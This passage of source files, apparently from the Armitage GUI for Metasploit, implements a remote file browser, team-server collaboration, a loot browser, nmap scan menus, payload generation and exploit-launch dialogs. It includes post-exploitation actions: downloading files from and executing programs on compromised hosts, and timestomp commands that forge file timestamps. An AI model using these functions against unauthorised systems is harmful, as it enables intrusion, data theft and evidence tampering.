setupMenu($1, "file_browser", @($2, %types, [$text getText]));
item($1, "Download", 'D', lambda({
local('$f $dir @temp $tdir');
@temp = split('\\\\', [$text getText]);
$dir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp)), "\\", "/");
foreach $f ($file) {
[$setcwd];
if (%types[$f] eq "dir") {
$tdir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp), $f), "\\", "/");
m_cmd($sid, "download -r \" $+ $f $+ \" \" $+ $tdir $+ \"");
}
else {
m_cmd($sid, "download \" $+ $f $+ \" \" $+ $dir $+ \"");
}
}
showError("Downloading:\n\n" . join("\n", $file) . "\n\nUse View -> Downloads to see files");
elog("downloaded " . join(", ", $file) . " from " . [$text getText] . " on " . sessionToHost($sid));
}, $file => $2, \$sid, \%types, \$setcwd, \$text));
item($1, "Execute", 'E', lambda({
local('$f $args');
[$setcwd];
$args = ask("Arguments?");
foreach $f ($file) {
if ($args eq "") {
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k");
}
else {
$args = strrep($args, '\\', '\\\\');
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k -a \" $+ $args $+ \"");
}
}
}, $file => $2, \$sid, \$setcwd));
separator($1);
# use timestomp to make sure the date/time stamp is the same. :)
local('$t $key $value');
$t = menu($1, "Timestomp", 'T');
item($t, "Get MACE values", 'G', lambda({
[$setcwd];
m_cmd($sid, "timestomp \" $+ $f $+ \" -v");
}, \$sid, $f => $2[0], \$setcwd));
if (size(%attribs) > 0) {
separator($t);
foreach $key => $value (%attribs) {
item($t, "Set $key to $value", $null, lambda({
local('%switches $s $f');
[$setcwd];
foreach $f ($files) {
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
%switches["Entry Modified"] = '-e';
$s = %switches[$key];
m_cmd($sid, "timestomp \" $+ $f $+ \" $s \" $+ $value $+ \"");
}
m_cmd($sid, "ls");
}, $files => $2, \$sid, $key => "$key", $value => "$value", \$setcwd));
}
separator($t);
item($t, "Set MACE values", 'S', lambda({
local('$f %switches $s $cmd $key $value');
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
%switches["Entry Modified"] = '-e';
[$setcwd];
foreach $f ($files) {
$cmd = "timestomp \" $+ $f $+ \"";
foreach $key => $value (%attribs) {
$s = %switches[$key];
$cmd = "$cmd $s \" $+ $value $+ \"";
}
m_cmd($sid, $cmd);
}
m_cmd($sid, "ls");
}, $files => $2, \$sid, \$setcwd));
}
item($1, "Delete", 'l', lambda({
local('$f');
[$setcwd];
foreach $f ($file) {
if (%types[$f] eq "dir") {
m_cmd($sid, "rmdir \" $+ $f $+ \"");
}
else {
m_cmd($sid, "rm \" $+ $f $+ \"");
}
}
m_cmd($sid, "ls");
}, $file => $2, \$sid, \%types, \$setcwd));
}
# Buttons:
# [upload...] [make directory]
#
+170
View File
@@ -0,0 +1,170 @@
#
# Armitage Collaboration Feature... make no mistake, I'm extremely excited about this.
#
import msf.*;
import armitage.*;
import console.*;
import ssl.*;
sub createEventLogTab {
this('$console $client');
if ($client is $null && $console is $null) {
$client = [new ConsoleClient: $null, $mclient, "armitage.poll", "armitage.push", $null, "", $null];
$console = [new ActivityConsole: $preferences];
setupEventStyle($console);
logCheck($console, "all", "events");
[$client setWindow: $console];
[$client setEcho: $null];
[$console updatePrompt: "> "];
}
else {
[$console updateProperties: $preferences];
}
[$frame addTab: "Event Log", $console, $null];
}
sub verify_server {
this('%rejected');
local('$fingerprints $fingerprint $check');
$fingerprints = split(', ', [$preferences getProperty: "trusted.servers", ""]);
foreach $fingerprint ($fingerprints) {
if ($fingerprint eq $1) {
return 1;
}
}
if (%rejected[$1] == 1) {
return $null;
}
$check = askYesNo("The team server's fingerprint is:\n\n<html><body><b> $+ $1 $+ </b></body></html>\n\nDoes this match the fingerprint shown\nwhen the team server started?", "Verify Fingerprint");
if ($check) {
%rejected[$1] = 1;
return $null;
}
else {
push($fingerprints, $1);
[$preferences setProperty: "trusted.servers", join(", ", $fingerprints)];
savePreferences();
return 1;
}
}
sub c_client {
# run this thing in its own thread to avoid really stupid deadlock situations
local('$handle');
$handle = [[new SecureSocket: $1, int($2), &verify_server] client];
return wait(fork({
local('$client');
$client = newInstance(^RpcConnection, lambda({
writeObject($handle, @_);
return readObject($handle);
}, \$handle));
return [new RpcAsync: $client];
}, \$handle));
}
sub userFingerprint {
return unpack("H*", digest(values(systemProperties(), @("os.name", "user.home", "os.version")), "MD5"))[0];
}
sub setup_collaboration {
local('$nick %r $mclient');
$nick = ask("What is your nickname?");
while (["$nick" trim] eq "") {
$nick = ask("You can't use a blank nickname. What do you want?");
}
$mclient = c_client($3, $4);
%r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326);
if (%r["error"] eq "1") {
showErrorAndQuit(%r["message"]);
}
%r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326);
return $mclient;
}
sub uploadFile {
local('$handle %r $data');
$handle = openf($1);
$data = readb($handle, -1);
closef($handle);
%r = call($mclient, "armitage.upload", getFileName($1), $data);
return %r['file'];
}
sub uploadBigFile {
local('$handle %r $data $file $progress $total $sofar $time $start');
$total = lof($1);
$progress = [new javax.swing.ProgressMonitor: $null, "Upload " . getFileName($1), "Starting upload", 0, lof($1)];
$start = ticks();
$handle = openf($1);
$data = readb($handle, 1024 * 256);
%r = call($mclient, "armitage.upload", getFileName($1), $data);
$sofar += strlen($data);
while $data (readb($handle, 1024 * 256)) {
$time = (ticks() - $start) / 1000.0;
[$progress setProgress: $sofar];
[$progress setNote: "Speed: " . round($sofar / $time) . " bytes/second"];
call($mclient, "armitage.append", getFileName($1), $data);
$sofar += strlen($data);
}
[$progress close];
return %r['file'];
}
sub downloadFile {
local('$file $handle %r $2');
%r = call($mclient, "armitage.download", $1);
$file = iff($2, $2, getFileName($1));
$handle = openf("> $+ $file");
writeb($handle, %r['data']);
closef($handle);
return $file;
}
sub getFileContent {
local('$file $handle %r');
if ($mclient !is $client) {
%r = call($mclient, "armitage.download_nodelete", $1);
return %r['data'];
}
else {
$handle = openf($1);
$file = readb($handle, -1);
closef($handle);
return $file;
}
}
# returns the folder where files should be downloaded to!
sub downloadDirectory {
if ($client is $mclient) {
local('@dirs $start $dir');
$start = dataDirectory();
push(@dirs, "downloads");
addAll(@dirs, @_);
foreach $dir (@dirs) {
if (isWindows()) {
$dir = strrep($dir, "/", "\\", ":", "");
}
$start = getFileProper($start, $dir);
}
return $start;
}
else {
return "downloads/" . join("/", @_);
}
}
+89
View File
@@ -0,0 +1,89 @@
#
# Loot browser (not yet complete... on hold until more post/ modules have loot)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub updateDownloadModel {
thread(lambda({
local('$root $files $entry $findf $hosts $host');
if ($client !is $mclient) {
$files = call($mclient, "armitage.downloads");
}
else {
$files = listDownloads(downloadDirectory());
}
[$model clear: 256];
foreach $entry ($files) {
$entry["date"] = rtime($entry["updated_at"] / 1000.0);
[$model addEntry: $entry];
}
[$model fireListeners];
}, \$model));
}
sub createDownloadBrowser {
local('$table $model $panel $refresh $sorter $host $view $sync');
$model = [new GenericTableModel: @("host", "name", "path", "size", "date"), "location", 16];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
setupSizeRenderer($table, "size");
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$sorter setComparator: 0, &compareHosts];
[$sorter setComparator: 4, {
return convertDate($1) <=> convertDate($2);
}];
[$table setRowSorter: $sorter];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
addMouseListener($table, lambda({
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
showLoot(\$model, \$table, $getme => "location");
}
}, \$model, \$table));
$view = [new JButton: "View"];
if ($client is $mclient) {
$sync = [new JButton: "Open Folder"];
[$sync addActionListener: gotoFile([new java.io.File: getFileProper(dataDirectory(), "downloads")])];
}
else {
$sync = [new JButton: "Sync Files"];
[$sync addActionListener: lambda({
downloadLoot(\$model, \$table, $getme => "location", $type => "downloads");
}, \$model, \$table)];
}
[$view addActionListener: lambda({
showLoot(\$model, \$table, $getme => "location");
}, \$model, \$table)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
updateDownloadModel(\$model);
}, \$model)];
updateDownloadModel(\$model);
[$panel add: center($view, $sync, $refresh), [BorderLayout SOUTH]];
[$frame addTab: "Downloads", $panel, $null];
}
+518
View File
@@ -0,0 +1,518 @@
#
# This file defines the main GUI and loads additional modules
#
debug(7 | 34);
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.swing.table.*;
import javax.swing.tree.*;
import javax.imageio.*;
import java.awt.*;
import java.awt.image.*;
import java.awt.event.*;
import java.awt.datatransfer.*;
import graph.*;
import armitage.*;
import table.*;
import ui.*;
# Create a new menu, returns the menu, you have to attach it to something
# menu([$parent], "Name", 'Accelerator')
sub menu {
local('$menu');
if (size(@_) == 2) {
$menu = [new JMenu: $1];
if ($2 !is $null) {
[$menu setMnemonic: casti(charAt($2, 0), 'c')];
}
}
else {
$menu = invoke(&menu, sublist(@_, 1));
[$1 add: $menu];
}
return $menu;
}
sub dynmenu {
local('$menu');
$menu = [new DynamicMenu: $2];
[$menu setMnemonic: casti(charAt($3, 0), 'c')];
[$menu setHandler: $4];
[$1 add: $menu];
return $menu;
}
# create a separator in the parent menu
sub separator {
[$1 addSeparator];
}
# create a menu item, attaches it to the specified parent (based on the Name)
# item($parent, "Name", 'accelerator', &listener)
sub item {
local('$item');
$item = [new JMenuItem: $2];
if ($3 !is $null) {
[$item setMnemonic: casti(charAt($3, 0), 'c')];
}
if ($4 is $null) { warn("Incomplete: " . @_); }
[$item addActionListener: lambda({
invoke($function);
}, $function => $4)];
[$1 add: $item];
return $item;
}
sub dispatchEvent {
if ([SwingUtilities isEventDispatchThread]) {
[$1];
}
else {
[SwingUtilities invokeLater: $1];
}
}
sub showError {
dispatchEvent(lambda({
[JOptionPane showMessageDialog: $frame, $message];
}, $message => $1));
}
sub showErrorAndQuit {
[JOptionPane showMessageDialog: $frame, $1];
[System exit: 0];
}
sub ask {
local('$2');
return [JOptionPane showInputDialog: "$1", "$2"];
}
# askYesNo("title", "text")
sub askYesNo {
return [JOptionPane showConfirmDialog: $null, $1, $2, [JOptionPane YES_NO_OPTION]];
}
sub chooseFile {
local('$fc $file $title $sel $dir $multi $always $dirsonly');
if ($REMOTE && $always is $null) {
if ($client !is $mclient) {
local('$file');
$file = chooseFile(\$title, \$file, \$sel, \$dir, \$dirsonly, \$multi, \$fc, $always => 1);
if (-exists $file) {
warn("Uploading $file");
return uploadFile($file);
}
return "";
}
else {
return ask("Please type a file name:");
}
}
$fc = [new JFileChooser];
if ($title !is $null) {
[$fc setDialogTitle: $title];
}
if ($sel !is $null) {
[$fc setSelectedFile: [new java.io.File: $sel]];
}
if ($dir !is $null) {
[$fc setCurrentDirectory: [new java.io.File: $dir]];
}
if ($multi !is $null) {
[$fc setMultiSelectionEnabled: 1];
}
if ($dirsonly !is $null) {
[$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]];
}
[$fc showOpenDialog: $frame];
if ($multi) {
return [$fc getSelectedFiles];
}
else {
$file = [$fc getSelectedFile];
if ($file !is $null) {
if (-exists $file) {
return $file;
}
showError("$file does not exist!");
}
}
}
sub saveFile2 {
local('$fc $file $sel');
$fc = [new JFileChooser];
if ($sel !is $null) {
[$fc setSelectedFile: [new java.io.File: $sel]];
}
[$fc showSaveDialog: $frame];
$file = [$fc getSelectedFile];
if ($file !is $null) {
return $file;
}
}
sub saveFile {
local('$fc $file');
$fc = [new JFileChooser];
[$fc showSaveDialog: $frame];
$file = [$fc getSelectedFile];
if ($file !is $null) {
local('$ihandle $data $ohandle');
$ihandle = openf($1);
$ohandle = openf("> $+ $file");
while $data (readb($ihandle, 8192)) {
writeb($ohandle, $data);
}
closef($ihandle);
closef($ohandle);
}
}
# label_for("text", width, component)
sub label_for {
local('$panel $label $size');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
$label = [new JLabel: $1];
$size = [$label getPreferredSize];
[$label setPreferredSize: [new Dimension: $2, [$size getHeight]]];
[$panel add: $label];
[$panel add: $3];
if (size(@_) >= 4) {
[$panel add: $4];
}
return $panel;
}
sub center {
local('$panel $c');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout CENTER]]];
foreach $c (@_) {
[$panel add: $c];
}
return $panel;
}
sub left {
local('$panel $c');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
foreach $c (@_) {
[$panel add: $c];
}
return $panel;
}
sub dialog {
local('$dialog $4');
$dialog = [new JDialog: $frame, $1];
[$dialog setSize: $2, $3];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
return $dialog;
}
sub window {
local('$dialog $4');
$dialog = [new JFrame: $1];
[$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
[$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]];
[$dialog setSize: $2, $3];
[$dialog setLayout: [new BorderLayout]];
return $dialog;
}
# overlay_images(@("image.png", "image2.png", "..."))
# constructs an image by overlaying all the specified images over eachother.
# this function caches the result so each combination is only created once.
sub overlay_images {
this('%cache');
if (join(';', $1) in %cache) {
return %cache[join(';', $1)];
}
local('$file $image $buffered $graphics');
$buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]];
$graphics = [$buffered createGraphics];
foreach $file ($1) {
$image = [ImageIO read: resource($file)];
[$graphics drawImage: $image, 0, 0, 1000, 776, $null];
}
$buffered = [$buffered getScaledInstance: 250 / $scale, 194 / $scale, [Image SCALE_SMOOTH]];
%cache[join(';', $1)] = $buffered;
return $buffered;
}
sub iconToImage {
if ($1 isa ^ImageIcon) {
return [$1 getImage];
}
else {
local('$buffered $g');
$buffered = [new BufferedImage: [$1 getIconWidth], [$1 getIconHeight], [BufferedImage TYPE_INT_ARGB]];
$g = [$buffered createGraphics];
[$1 paintIcon: $null, $g, $2, $3];
[$g dispose];
return $buffered;
}
}
sub imageToImage {
local('$buffered $g');
$buffered = [new BufferedImage: [$1 getWidth: $null], [$1 getHeight: $null], [BufferedImage TYPE_INT_ARGB]];
$g = [$buffered createGraphics];
[$g drawImage: $1, 0, 0, [$1 getWidth: $null], [$1 getHeight: $null], $null];
[$g dispose];
return $buffered;
}
sub select {
local('$combo');
$combo = [new JComboBox: cast($1, ^String)];
[$combo setSelectedItem: $2];
return $combo;
}
# buildTreeNodes(@)
sub buildTree {
local('%nodes $entry $parent $path');
foreach $entry ($1) {
$parent = %nodes;
foreach $path (split('\\/', $entry)) {
if ($path !in $parent) {
$parent[$path] = %();
}
$parent = $parent[$path];
}
}
return %nodes;
}
# treeNodes($1, buildTree(@(...)))
sub treeNodes {
local('$temp $p');
if ($1 is $null) {
$1 = [new DefaultMutableTreeNode: "modules"];
[$1 setAllowsChildren: 1];
}
foreach $temp (sorta(keys($2))) {
$p = [new DefaultMutableTreeNode: $temp];
[$p setAllowsChildren: 1];
if (size($2[$temp]) > 0) {
treeNodes($p, $2[$temp]);
}
[$1 add: $p];
}
return $1;
}
sub wrapComponent {
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: $1, [BorderLayout CENTER]];
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $2, $2, $2]];
return $panel;
}
sub setLookAndFeel {
local('$laf');
foreach $laf ([UIManager getInstalledLookAndFeels]) {
if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) {
[UIManager setLookAndFeel: [$laf getClassName]];
}
}
}
sub thread {
local('$thread');
$thread = [new ArmitageThread: $1];
[$thread start];
}
sub compareHosts {
if ($1 eq "unknown") {
return compareHosts("0.0.0.0", $2);
}
else if ($2 eq "unknown") {
return compareHosts($1, "0.0.0.0");
}
else {
return [Route ipToLong: $1] <=> [Route ipToLong: $2];
}
}
# tells table to save any edited cells before going forward...
sub syncTable {
if ([$1 isEditing]) {
[[$1 getCellEditor] stopCellEditing];
}
}
sub isWindows {
return iff("*Windows*" iswm systemProperties()["os.name"], 1);
}
sub selected {
return [$2 getSelectedValueFromColumn: $1, $3];
}
# ($table, $model) = setupTable("lead", @rows)
sub setupTable {
local('$table $model $sorter $row');
$model = [new GenericTableModel: $2, $1, 8];
foreach $row ($3) {
[$model _addEntry: $row];
}
$table = [new ATable: $model];
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$sorter = [new TableRowSorter: $model];
[$table setRowSorter: $sorter];
return @($table, $model);
}
# creates a list dialog,
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
sub quickListDialog {
local('$dialog $panel $table $row $model $button $sorter $after $a');
$dialog = dialog($1, $width, $height);
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
($table, $model) = setupTable($3[0], sublist($3, 1), $4);
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$button = [new JButton: $2];
[$button addActionListener: lambda({
[$callback : [$model getSelectedValueFromColumn: $table, $lead]];
[$dialog setVisible: 0];
}, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])];
local('$south');
$south = [new JPanel];
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
if ($after !is $null) {
foreach $a ($after) {
[$south add: $a];
}
}
[$south add: center($button)];
[$panel add: $south, [BorderLayout SOUTH]];
[$dialog add: $panel, [BorderLayout CENTER]];
[$dialog show];
[$dialog setVisible: 1];
}
sub tableRenderer {
return [ATable getDefaultTableRenderer: $1, $2];
}
sub gotoFile {
return lambda({
local('$exception');
try {
[[Desktop getDesktop] open: $f];
}
catch $exception {
showError("Could not open $f $+ \n $+ $exception");
}
}, $f => $1);
}
sub isShift {
return iff(([$1 getModifiers] & [ActionEvent SHIFT_MASK]) == [ActionEvent SHIFT_MASK], 1);
}
inline safetyCheck {
local('$__time');
if ($__time == 0) {
$__time = ticks();
}
if ((ticks() - $__time) > 250) {
yield 50;
$__time = ticks();
}
}
sub addMouseListener {
[$1 addMouseListener: [new SafeMouseListener: $2]];
}
sub pad {
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: $1, [BorderLayout CENTER]];
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $3, $4, $5]];
return $panel;
}
sub setClipboard {
local('$sel $cb');
$sel = [new StringSelection: $1];
$cb = [[Toolkit getDefaultToolkit] getSystemSelection];
if ($cb !is $null) {
[$cb setContents: $sel, $null];
}
$cb = [[Toolkit getDefaultToolkit] getSystemClipboard];
if ($cb !is $null) {
[$cb setContents: $sel, $null];
}
}
sub setupMenu {
# do nothing for now... this is for something coming later.
}
sub installMenu {
# do nothing for now... this is for something coming later.
}
+104
View File
@@ -0,0 +1,104 @@
import msf.*;
import javax.swing.*;
import javax.swing.event.*;
import java.awt.*;
import java.awt.event.*;
sub addHostDialog {
local('$dialog $label $text $finish $button');
$dialog = [new JDialog: $frame, "Add Hosts", 0];
[$dialog setSize: 320, 240];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
$label = [new JLabel: "Enter one host/line:"];
$text = [new JTextArea];
$finish = [new JPanel];
[$finish setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$button = [new JButton: "Add"];
[$finish add: $button];
[$button addActionListener: lambda({
local('@hosts');
@hosts = split("[\n\s]", [$text getText]);
cmd_safe("hosts -a " . join(" ", @hosts), lambda({
showError("Added $x host" . iff($x != 1, "s"));
elog("added $x host" . iff($x != 1, "s"));
}, $x => size(@hosts)));
[$dialog setVisible: 0];
}, \$text, \$dialog)];
[$dialog add: $label, [BorderLayout NORTH]];
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
[$dialog add: $finish, [BorderLayout SOUTH]];
[$dialog setVisible: 1];
}
sub host_items {
local('$i $j $k');
item($1, "Import Hosts", 'I', &importHosts);
item($1, "Add Hosts...", 'A', &addHostDialog);
setupMenu($1, "hosts_top", @());
separator($1);
$j = menu($1, "Nmap Scan", 'S');
setupMenu($j, "hosts_nmap", @());
item($j, "Intense Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -A -v -n"));
item($j, "Intense Scan + UDP", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v"));
item($j, "Intense Scan, all TCP ports", $null, createNmapFunction("--min-hostgroup 96 -p 1-65535 -n -T4 -A -v"));
item($j, "Intense Scan, no ping", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -A -v -Pn"));
item($j, "Ping Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -sn"));
item($j, "Quick Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -F"));
item($j, "Quick Scan (OS detect)", $null, createNmapFunction("--min-hostgroup 96 -sV -n -T4 -O -F --version-light"));
item($j, "Comprehensive", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53"));
item($1, "MSF Scans...", "M", {
local('$address');
$address = ask("Enter scan range (e.g., 192.168.1.0/24):", join(", ", [$targets getSelectedHosts]));
if ($address eq "") { return; }
launch_msf_scans($address);
});
item($1, "DNS Enumerate", 'D', {
if (size([$targets getSelectedHosts]) > 0) {
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %(NS => [$targets getSelectedHosts][0]));
}
else {
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %());
}
});
setupMenu($1, "hosts_middle", @());
separator($1);
setupMenu($1, "hosts_bottom", @());
item($1, "Clear Database", 'C', &clearDatabase);
}
# oh yay, Metasploit now normalizes OS info (so I don't have to). Except the new constants
# they use are different than the ones they have used... *sigh* time to future proof my code.
sub normalize {
if ("*Windows*" iswm $1) {
return "Windows";
}
else if ("*Mac*OS*X*" iswm $1) {
return "Mac OS X";
}
else if ("*Solaris*" iswm $1) {
return "Solaris";
}
else if ("*Cisco*" iswm $1) {
return "IOS";
}
else if ("*Printer*" iswm $1) {
return "Printer";
}
else {
return $1;
}
}
+649
View File
@@ -0,0 +1,649 @@
#
# code to manage some jobs ;)
#
import msf.*;
import armitage.*;
import console.*;
import table.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import java.awt.*;
import java.awt.event.*;
import ui.*;
sub manage_proxy_server {
manage_job("Auxiliary: server/socks4a",
# start server function
{
launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", $null);
},
# description of job (for job kill function)
{
local('$host $port');
($host, $port) = values($2["datastore"], @("SRVHOST", "SRVPORT"));
return "SOCKS proxy is running on $host $+ : $+ $port $+ .\nWould you like to stop it?";
}
);
}
sub report_url {
find_job($name, {
if ($1 == -1) {
showError("Server not found");
}
else {
local('$job $host $port $uripath');
$job = call($client, "job.info", $1);
($host, $port) = values($job["info"]["datastore"], @("SRVHOST", "SRVPORT"));
$uripath = $job["info"]["uripath"];
local('$dialog $text $ok');
$dialog = dialog("Output", 320, 240);
$text = [new JTextArea];
[$text setText: "http:// $+ $host $+ : $+ $port $+ $uripath"];
$button = [new JButton: "Ok"];
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
[$dialog add: center($button), [BorderLayout SOUTH]];
[$dialog setVisible: 1];
}
});
}
sub find_job {
#
# convoluted? yes, but jobs.info kept locking up on some of my requests...
#
cmd_safe("jobs", lambda({
local('$temp $jid $jname $confirm');
foreach $temp (split("\n", $3)) {
if ([$temp trim] ismatch '.*?(\d+)\s+(.*?)') {
($jid, $jname) = matched();
if ($jname eq $name) {
[$function: $jid];
return;
}
}
}
[$function: -1];
}, $name => $1, $function => $2));
}
# manage_job(job name, { start job function }, { job dialog info })
sub manage_job {
local('$name $startf $stopf');
($name, $startf, $stopf) = @_;
find_job($name, lambda({
if ($1 == -1) {
[$startf];
}
else {
local('$job $confirm $foo');
$job = call($client, "job.info", $1);
$foo = lambda({
local('$confirm');
$confirm = askYesNo([$stopf : $jid, $job], "Stop Job");
if ($confirm eq "0") {
cmd_safe("jobs -k $jid", {
if ($3 ne "") { showError($3); }
});
}
}, \$stopf, \$job, $jid => $1);
if ([SwingUtilities isEventDispatchThread]) {
[$foo];
}
else {
[SwingUtilities invokeLater: $foo];
}
}
}, \$startf, \$stopf));
}
sub generatePayload {
local('$file');
$file = saveFile2();
if ($file is $null) {
return;
}
thread(lambda({
local('$module $options $format $handle $data');
($module, $options, $format) = $args;
$options["Format"] = $format;
$data = call($client, "module.execute", "payload", $module, $options);
$handle = openf("> $+ $file");
writeb($handle, $data["payload"]);
closef($handle);
showError("Saved $file");
}, $args => @_, \$file));
}
# pass the module launch to another thread please.
sub launch_service {
if ($4 eq "payload" && $format ne "multi/handler") {
generatePayload($2, $3, $format);
}
else {
local('$listener');
thread(lambda({
local('$title $module $options $type');
($title, $module, $options, $type) = $args;
_launch_service($title, $module, $options, $type, \$format, \$listener);
}, $args => @_, \$format, \$listener));
}
}
sub _launch_service {
local('$c $key $value');
if ('SESSION' in $3) {
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
}
else if ('RHOST' in $3) {
$c = createDisplayTab($1, $host => $3['RHOST'], $file => $4);
}
else {
$c = createDisplayTab($1, $file => $4);
}
if ($listener) {
[$c addSessionListener: $listener];
}
if ($4 eq "payload" && $format eq "multi/handler") {
[$c addCommand: $null, "use exploit/multi/handler"];
[$c addCommand: $null, "set PAYLOAD ". substr($2, 8)];
[$c addCommand: $null, "set ExitOnSession false"];
}
else {
[$c addCommand: $null, "use $2"];
}
foreach $key => $value ($3) {
[$c addCommand: $null, "set $key $value"];
}
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
[$c addCommand: "x", "exploit -j"];
}
else {
[$c addCommand: "x", "run -j"];
}
[$c start];
}
#
# pop up a dialog to start our attack with... fun fun fun
#
# launch_dialog("title", "type", "name", "visible", "hosts...", %options)
sub launch_dialog {
local('$info $options $6');
$info = call($mclient, "module.info", $2, $3);
$options = call($mclient, "module.options", $2, $3);
# give callers the ability to set any options before we pass things on.
if (-ishash $6) {
local('$key $value');
foreach $key => $value ($6) {
if ($key in $options) {
$options[$key]["default"] = $value;
$options[$key]["advanced"] = "0";
}
}
}
dispatchEvent(lambda({
invoke(lambda(&_launch_dialog, \$info, \$options), $args);
}, \$info, \$options, $args => @_));
}
# $1 = model, $2 = exploit, $3 = selected target
sub updatePayloads {
thread(lambda({
local('$best');
$best = best_client_payload($exploit, $target);
[$model setValueForKey: "PAYLOAD", "Value", $best];
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
[$model setValueForKey: "LPORT", "Value", randomPort()];
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
[$model setValueForKey: "ExitOnSession", "Value", "false"];
[$model fireListeners];
}, $model => $1, $exploit => $2, $target => $3));
}
sub _launch_dialog {
local('$dialog $north $center $center $label $textarea $scroll $model $table $default $combo $key $sorter $value $col $button $6 $5');
$dialog = dialog($1, 520, 360);
$north = [new JPanel];
[$north setLayout: [new BorderLayout]];
$label = [new JLabel: $info["name"]];
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
[$north add: $label, [BorderLayout NORTH]];
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $info["description"])) trim]];
[$textarea setEditable: 0];
[$textarea setOpaque: 1];
[$textarea setLineWrap: 1];
[$textarea setWrapStyleWord: 1];
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
$scroll = [new JScrollPane: $textarea];
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
[$north add: $scroll, [BorderLayout CENTER]];
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
[$model setCellEditable: 1];
foreach $key => $value ($options) {
if ($key eq "THREADS") {
$default = "24";
}
else if ($key eq "LHOST") {
$default = $MY_ADDRESS;
}
else if ($key eq "RHOSTS") {
$default = join(", ", $5);
}
else if ($key eq "SESSION" && size($5) > 0) {
local('$host @sessions');
foreach $host ($5) {
if ($host in %hosts && 'sessions' in %hosts[$host] && size(%hosts[$host]['sessions']) > 0) {
push(@sessions, keys(%hosts[$host]['sessions'])[0]);
}
}
$default = join(", ", @sessions);
}
else if ($key eq "RHOST" && size($5) > 0) {
$default = $5[0];
}
else {
$default = $value["default"];
}
if ($2 ne "exploit" || "$key" !in @("DisablePayloadHandler", "PAYLOAD", "LHOST", "LPORT", "ExitOnSession")) {
[$model _addEntry: %(Option => $key, Value => $default, Tooltip => $value["desc"], Hide => iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1'))];
}
}
#
# give user the option to configure the client-side payload... of course we'll configure it for them
# by default :P~
#
if ($2 eq "exploit") {
[$model _addEntry: %(Option => "PAYLOAD", Value => "", Tooltip => "The payload to execute on successful exploitation", Hide => "0")];
[$model _addEntry: %(Option => "DisablePayloadHandler", Value => "1", Tooltip => "Disable the handler code for the selected payload", Hide => "0")];
[$model _addEntry: %(Option => "ExitOnSession", Value => "", Tooltip => "Close this handler after a session")];
[$model _addEntry: %(Option => "LHOST", Value => "$MY_ADDRESS", Tooltip => "The listen address", Hide => "0")];
[$model _addEntry: %(Option => "LPORT", Value => "", Tooltip => "The listen port", Hide => "0")];
}
else if ($2 eq "payload" && "*windows*" iswm $3) {
[$model _addEntry: %(Option => "Template", Value => "", Tooltip => "The executable template to use", Hide => "0")];
